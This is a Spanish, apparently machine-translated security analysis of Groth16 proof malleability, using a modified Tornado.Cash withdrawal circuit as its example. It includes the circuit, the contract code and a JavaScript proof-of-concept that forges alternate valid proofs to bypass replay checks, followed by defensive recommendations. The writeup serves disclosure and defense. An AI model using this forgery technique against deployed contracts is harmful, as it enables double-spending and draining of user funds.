En el artículo anterior, explicamos las lagunas de maleabilidad en el propio sistema de prueba Groth16 desde la perspectiva del principio. En este artículo, tomaremos el proyecto Tornado.Cash como ejemplo, modificaremos algunos de sus circuitos y códigos, introduciremos el ataque de maleabilidad. proceso y espero que otras partes del proyecto zkp también presten atención a las medidas preventivas correspondientes en el proyecto. Entre ellos, Tornado.Cash utiliza la biblioteca snarkjs para el desarrollo, que también se basa en el siguiente proceso de desarrollo y se presentará directamente más adelante. Si no está familiarizado con la biblioteca, lea el primer artículo de esta serie. (Beosin | Análisis en profundidad de la vulnerabilidad zk-SNARK a prueba de conocimiento cero: ¿Por qué el sistema a prueba de conocimiento cero no es infalible?) [346a815b39293aee95668fb9b2049873] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-96823e64cc-dd1a6f-1c6801 “7076908”)
(Fuente:
El proceso de interacción de Tornado.Cash incluye principalmente 4 entidades: * Usuario: use esta DApp para realizar transacciones de privacidad con el mezclador, incluidos depósitos y retiros.
El Usuario primero realiza las operaciones correspondientes en la página web frontal de Tornado.Cash para activar una transacción de depósito o retiro, y luego el Retransmisor reenvía la solicitud de transacción al contrato Tornado.Cash Proxy en la cadena, y la reenvía al correspondiente Pool según el monto de la transacción, y finalmente Para procesar depósitos y retiros, la estructura específica es la siguiente: ! [f471dfca152796f84a6389ff3a6d96ac] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-fa8e75c3b3-dd1a6f-1c6801 “7076909”) Como mezclador de divisas, Tornado.Cash tiene dos funciones comerciales específicas: * depósito: cuando un usuario realiza una transacción de depósito, primero selecciona el token depositado (BNB, ETH, etc.) y la cantidad correspondiente en la página web de front-end Para garantizar mejor la privacidad del usuario, solo se pueden depositar cuatro cantidades;
! [fc9fe4cf9b1b8528e2446d23f39afc9a] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-22994b5b68-dd1a6f-1c6801 “7076910”)
Fuente: <
Luego, el servidor generará dos anuladores y secretos de números aleatorios de 31 bytes, y después de unirlos, realizará la operación pedersenHash para obtener el compromiso y devolverá el anulador+secreto más el prefijo como una nota para el usuario. : ! [83feeca678c53c26a5cfe70f55d29f10] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-64aba8733a-dd1a6f-1c6801 “7076911”)* Luego se inicia una transacción de depósito para enviar el compromiso y otros datos al Tornado.Cash Proxy contrato en la cadena, el contrato de proxy reenvía los datos al Pool correspondiente de acuerdo con el monto del depósito y, finalmente, el contrato del Pool inserta el compromiso como un nodo de hoja en el árbol merkle y almacena la raíz calculada en el contrato del Pool.
! [49898b341e39bdbebd651b5d3918faef] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-54deb436c4-dd1a6f-1c6801 “7076912”)
Fuente de la imagen: <* Luego, el servidor recuperará todos los eventos de depósito de Tornadocash debajo de la cadena, extraerá los compromisos para construir el árbol Merkle debajo de la cadena y generará el compromiso y el Merkle correspondiente de acuerdo con los datos de la nota (anulador+secreto) proporcionados por la ruta del usuario y la raíz correspondiente se utilizan como entrada de circuito para obtener una prueba de SNARK de conocimiento cero, finalmente, se inicia una transacción de retiro al contrato Tornado.Cash Proxy en la cadena, y luego salta al contrato Pool correspondiente para verificar la prueba de acuerdo con los parámetros, y el dinero se acredita a la dirección del destinatario especificada por el usuario.
Entre ellos, el núcleo de retiro de Tornado.Cash es en realidad probar que existe un cierto compromiso en el árbol de Merkle sin exponer el anulador y el secreto que tiene el usuario.La estructura específica del árbol de Merkle es la siguiente: ! [a56d827c9d275989d6948e23280123ce] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-2215203ef5-dd1a6f-1c6801 “7076913”)## 2 Tornado.Cash magic versión modificada
Para el principio de ataque de ductilidad del primer artículo de Groth16, sabemos que el atacante puede generar varias pruebas diferentes usando el mismo anulador y secreto. Si el desarrollador no considera el ataque de doble gasto causado por la repetición de la prueba, amenazará la financiación del proyecto. . **Antes de la modificación mágica de Tornado.Cash, este artículo primero presenta el código en el Pool donde Tornado.Cash finalmente maneja el retiro:
/** @dev Retirar un depósito del contrato. La prueba es un dato de prueba de zkSNARK, y la entrada es una matriz de entradas públicas de circuito. La matriz de entrada consta de: - raíz merkle de todos los depósitos en el contrato - hash del anulador de depósito único para evitar gastos dobles - el destinatario de los fondos - tarifa opcional que va al remitente de la transacción (normalmente un repetidor) */ función retirar( bytes calldata _proof, bytes32 _root, bytes32 _nullifierHash, address payable _recipient, address payable _relayer, uint256 _fee, uint256 _refund ) external payable nonReentrant { require(_fee <= denominación, “La tarifa excede el valor de la transferencia”); require(!nullifierHashes[_nullifierHash], “La nota ya se gastó”); require(isKnownRoot(_root), “No se puede encontrar su raíz merkle”); // Asegúrese de usar uno reciente require( verifier.verifyProof( _proof, [uint256(_root), uint256(_nullifierHash), uint256(_recipient), uint256(_relayer), _fee, _refund] ) , “Prueba de retiro no válida” ); nullifierHashes[_nullifierHash] = verdadero; _processWithdraw(_recipient, _relayer, _fee, _refund); emit Retiro (_recipient, _nullifierHash, _relayer, _fee); }
En la figura anterior, para evitar que los atacantes utilicen la misma prueba para llevar a cabo ataques de doble gasto sin exponer el anulador y el secreto, Tornado.Cash agrega una señal pública nullifierHash al circuito, que se obtiene mediante el hash de Pedersen del anulador. y se puede usar como un parámetro Pasado a la cadena, el contrato de Pool luego usa esta variable para identificar si se ha usado una prueba correcta. Sin embargo, si la parte del proyecto no utiliza el método de modificación del circuito, sino que registra directamente el método de prueba para evitar el doble gasto, después de todo, esto puede reducir las restricciones del circuito y ahorrar costos, pero ¿puede lograr el objetivo? Para esta conjetura, este artículo eliminará la señal pública nullifierHash recién agregada en el circuito y cambiará la verificación del contrato a verificación de prueba. Dado que Tornado.Cash obtiene todos los eventos de depósito cada vez que se retira, construye un árbol merkle y luego verifica si el valor raíz generado está dentro de los últimos 30, todo el proceso es demasiado problemático, por lo que el circuito de este artículo también eliminará el circuito merkleTree. , Solo queda el circuito central de la parte de extracción, y el circuito específico es el siguiente:
incluir “…/…/…/…/node_modules/circomlib/circuits/bitify.circom”; include “…/…/…/…/node_modules/circomlib/circuits/pedersen.circom”;// calcula Pedersen(nulificador + secreto)plantilla CommitmentHasher() { anulador de entrada de señal; secreto de entrada de señal; compromiso de salida de señal; // señal de salida nullifierHash; // borra el compromiso del componenteHasher = Pedersen(496); // componente nullifierHasher = Pedersen(248); componente nullifierBits = Num2Bits(248); componente secretBits = Num2Bits(248); nullifierBits.in <== anulador; secretBits.in <== secreto; for ( i = 0; i < 248; i++) { // anuladorHasher.in [i] <== bits nullificadores.out [i] ; // eliminar compromisoHasher.in [i] <== bits nullificadores.out [i] ; compromisoHasher.in[i + 248] <== secretBits.out [i] ; } compromiso <== compromisoHasher.out [0] ; // nullifierHash <== nullifierHasher.out [0] ; // eliminar}// Verifica que el compromiso que corresponde al secreto dado y al anulador está incluido en el compromiso de salida de la señal del árbol Merkle de depósitos; receptor de entrada de señal; // no participar en ningún relé de entrada de señal de cómputo; // no participar en ningún cómputo tarifa de entrada de señal; // no participar en ningún reembolso de entrada de señal de cómputo; // no participar en ningún cómputo anulador de entrada de señal; secreto de entrada de señal; componente hasher = CommitmentHasher(); hasher.nullifier <== anulador; hasher.secret <== secreto; compromiso <== hasher.compromiso; // Agrega señales ocultas para asegurarte de que manipular el destinatario o la tarifa invalidará la prueba de snark // Lo más probable es que no sea necesario, pero es mejor estar seguro y solo se necesitan 2 restricciones // Los cuadrados se usan para prevenir optimizador de la eliminación de esas limitaciones de la señal de receiverSquare; tarifa de señalCuadrado; repetidor de señalCuadrado; señal refundSquare; destinatarioCuadrado <== destinatario * destinatario; feeSquare <== fee * fee; repetidorCuadrado <== repetidor * repetidor; refundSquare <== reembolso * reembolso;}componente principal = Retirar (20);
Nota: Durante el experimento encontramos que TornadoCash en la última versión del código en GitHub (el circuito de retiro carece de una señal de salida y requiere una corrección manual para funcionar correctamente. De acuerdo con el circuito modificado anterior, use la biblioteca snarkjs, etc. para seguir el proceso de desarrollo dado al principio de este artículo paso a paso, y genere la siguiente prueba normal, que se registra como prueba1:
La prueba: { pi_a: [ 12731245758885665844440940942625335911548255472545721927606279036884288780352n, 11029567045033340566548367893304 052946457319632960669053932271922876268005970n 1n ] pi_b 3878046002081n, 8088104569927474555610665242983621221932062943927262293572649061565902268616n ], [ 9194248463115986940359811 988096155965376840166464829609545491502209803154186n 11557306n ], [ 1n, 0n ] ], pi_c: [ 1626407734863381433630916916203225704171957179582436403191883565668143772631n, 1037520490212 5491773178253544576299821079735144068419595539416984653646546215n, 1n ], protocolo: 'groth16 ', curva: ‘bn128’}
En primer lugar, utilizamos el contrato predeterminado generado por circom para la verificación. Dado que el contrato no registra ninguna información relacionada con la prueba que se haya utilizado, el atacante puede reproducir la prueba 1 varias veces para provocar un ataque de doble gasto. En los siguientes experimentos, la prueba se puede reproducir infinitamente para la misma entrada del mismo circuito, y todos ellos pueden pasar la verificación. ! [caaf8474774d0ffaaea894961231e604] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-36bda9ebd9-dd1a6f-1c6801 “7076914”) La siguiente imagen es una captura de pantalla del experimento que usa la prueba 1 en el contrato predeterminado para demostrar que la verificación aprobado, incluido el artículo anterior Parámetros de prueba A, B y C utilizados en , y el resultado final:
! [8796de83786dab2e1d2fe8988a2a8c3c] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-1d87d37558-dd1a6f-1c6801 “7076915”)
La siguiente figura es el resultado de usar la misma prueba1 para llamar a la función verificarProof varias veces para la verificación de pruebas. El experimento encontró que para la misma entrada, sin importar cuántas veces el atacante use prueba1 para la verificación, puede pasar: ! [058bfa45cfac5803990db4cb707c737b] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-6f3b277d3a-dd1a6f-1c6801 “7076916”) Por supuesto, estamos probando en la biblioteca de código js nativo de snarkjs, y no hemos probado la Prueba ya utilizada que ha sido aprobada para protección, los resultados experimentales son los siguientes: ## 2.2.2 Prueba de Verificación - Contrato Ordinario Anti-repetición
Para la vulnerabilidad de reproducción en el contrato predeterminado generado por circom, este artículo registra un valor en la prueba correcta (prueba 1) que se ha utilizado para evitar ataques de reproducción usando la prueba verificada, como se muestra en la siguiente figura: ! [9afeb481747b16752a00b70c5562bac2] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-384e9b2889-dd1a6f-1c6801 “7076917”) Continúe usando la prueba 1 para la verificación. El experimento descubrió que al usar la misma prueba para la verificación secundaria, la transacción se revirtió Error: “El billete ya se gastó”, el resultado es el que se muestra en la siguiente figura: ! [40293d602538a60400dffa795e0454dd] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-d09fb1e9c2-dd1a6f-1c6801 “7076918”) Pero Aunque en este momento se logró el propósito de prevenir los ataques de repetición de prueba ordinarios, el introducción anterior Hay un problema de vulnerabilidad de ductilidad en el algoritmo groth16, y esta medida preventiva aún puede ser eludida. Entonces, construimos el PoC en la figura a continuación y generamos un certificado zk-SNARK falso para la misma entrada de acuerdo con el algoritmo del primer artículo. El experimento descubrió que aún puede pasar la verificación. El código PoC para generar la prueba falsificada proof2 es el siguiente:
importar WasmCurve desde “/Users/saya/node_modules/ffjava/src/wasm_curve.js” importar ZqField desde “/Users/saya/node_modules/ffjava/src/f1field.js” importar groth16FullProve desde "/Users /saya/node_modules/snarkjs/src/groth16_fullprove.js"importar groth16Verify desde “/Users/saya/node_modules/snarkjs/src/groth16_verify.js”;importar * como curvas desde “/Users /saya/node_modules/snarkjs/src/curves.js”;importar fs desde “fs”;importar {utils} desde “ffjava”;const {unstringifyBigInts} = utils;groth16_exp();función asíncrona groth16_exp (){ let entradaA = “7”; dejar entradaB = “11”; const SNARK_FIELD_SIZE = BigInt(‘21888242871839275222246405745257275088548364400416034343698204186575808495617’); // 2. 读取string后转化为int const prueba = espera unstringifyBigInts(JSON.parse(fs.readFileSync(“prueba.json”,“utf8”))); console.log(“La prueba:”,prueba); // 生成逆元,生成的逆元必须在F1域 const F = new ZqField(SNARK_FIELD_SIZE); // const F = new F2Field(SNARK_FIELD_SIZE); const X = Fe(“123456”) const invX = F.inv(X) console.log(“x:” ,X ) console.log(“invX” ,invX) console.log(“El timesScalar es:”, F.mul(X,invX)) // 读取椭圆曲线G1、G2点 const vKey = JSON.parse(fs.readFileSync(“verificación_key.json”,“utf8”)); // console.log(“La curva es:”,vKey); const curve = esperar curves.getCurveFromName(vKey.curve); const G1 = curva.G1; const G2 = curva.G2; const A = G1.fromObject(prueba.pi_a); const B = G2.fromObject(prueba.pi_b); const C = G1.fromObject(prueba.pi_c); const nuevo_pi_a = G1.timesScalar(A, X); //A’=x*A const nuevo_pi_b = G2.timesScalar(B, invX); //B’=x^{-1}*B prueba.pi_a = G1.toObject(G1.toAffine(A)); prueba.nuevo_pi_a = G1.toObject(G1.toAffine(nuevo_pi_a)) prueba.nuevo_pi_b = G2.toObject(G2.toAffine(nuevo_pi_b)) // 将生成的G1、G2点转化为 prueba console.log(“prueba.pi_a:”,prueba.pi_a); console.log(“prueba.nuevo_pi_a:”,prueba.nuevo_pi_a) console.log(“prueba.nuevo_pi_b:”,prueba.nuevo_pi_b)}
La prueba falsificada generada proof2 se muestra en la siguiente figura: Al usar este parámetro para volver a llamar a la función verificarProof para la verificación de prueba, el experimento encontró que la verificación de prueba2 pasó nuevamente en el caso de la misma entrada, como se muestra a continuación: ! [03d0f119ea666620685b4cece791a789] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-4c49de3755-dd1a6f-1c6801 “7076919”) Aunque la prueba falsificada2 solo se puede usar una vez más, debido a la falsificación Hay un número casi infinito de pruebas, por lo que puede ocasionar que los fondos del contrato sean retirados infinitamente. Este artículo también usa el código js de la biblioteca circom para probar, y los resultados experimentales proof1 y fake proof2 pueden pasar la verificación: ! [9153431b50b81dcadbf68930ded584c3] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-934c4ab3e4-dd1a6f-1c6801 “7076920”)## 2.2.3 Prueba de verificación — Contrato de reproducción Tornado.Cash
Después de tantos fracasos, ¿no hay forma de hacerlo de una vez por todas? Aquí, de acuerdo con la práctica de Tornado.Cash de verificar si se ha utilizado la entrada original, este artículo continúa modificando el código del contrato de la siguiente manera: ! [28fabffcac9037a41e030db84f44f83b] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-dfa6f29d35-dd1a6f-1c6801 “7076921”) Cabe señalar que, para demostrar las medidas simples para prevenir el ataque maleable del algoritmo groth16, *\ *Este artículo adopta el método de registrar directamente la entrada del circuito original, pero esto no se ajusta al principio de privacidad de prueba de conocimiento cero, y la entrada del circuito debe mantenerse confidencial. **Por ejemplo, la entrada en Tornado.Cash es totalmente privada y se debe agregar una nueva entrada pública para identificar una prueba. En este documento, dado que no hay un nuevo logotipo en el circuito, la privacidad es relativamente pobre en comparación con Tornado.Cash. Solo se usa como una demostración experimental para mostrar los resultados de la siguiente manera: ! [ac4624fc066156979fae817e327c6224] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-440d87e977-dd1a6f-1c6801 “7076922”) Se puede encontrar que la prueba que usa la misma entrada en la figura anterior solo puede pasar prueba1 para la primera vez, entonces ni la prueba 1 ni la prueba falsificada 2 pueden pasar la verificación. ## 3 Resumen y recomendaciones
Este documento verifica principalmente la autenticidad y el daño de la vulnerabilidad de reproducción mediante la modificación del circuito de TornadoCash y el uso del contrato predeterminado generado por Circom, que comúnmente usan los desarrolladores, y además verifica que las medidas comunes utilizadas a nivel de contrato pueden proteger contra la reproducción. vulnerabilidad, pero no puede prevenirlo El ataque de maleabilidad de Groth16, en este sentido, recomendamos que los proyectos de prueba de conocimiento cero presten atención a lo siguiente durante el desarrollo del proyecto: * A diferencia de las DApp tradicionales que usan datos únicos como direcciones para generar datos de nodo, zkp los proyectos suelen utilizar una combinación de números aleatorios Para generar nodos de árbol de Merkle, debe prestar atención a si la lógica empresarial permite insertar nodos con el mismo valor. **Porque los mismos datos de nodo de hoja pueden causar que algunos fondos de usuario se bloqueen en el contrato, o hay varias Pruebas de Merkle en los mismos datos de nodo de hoja que confunden la lógica empresarial. **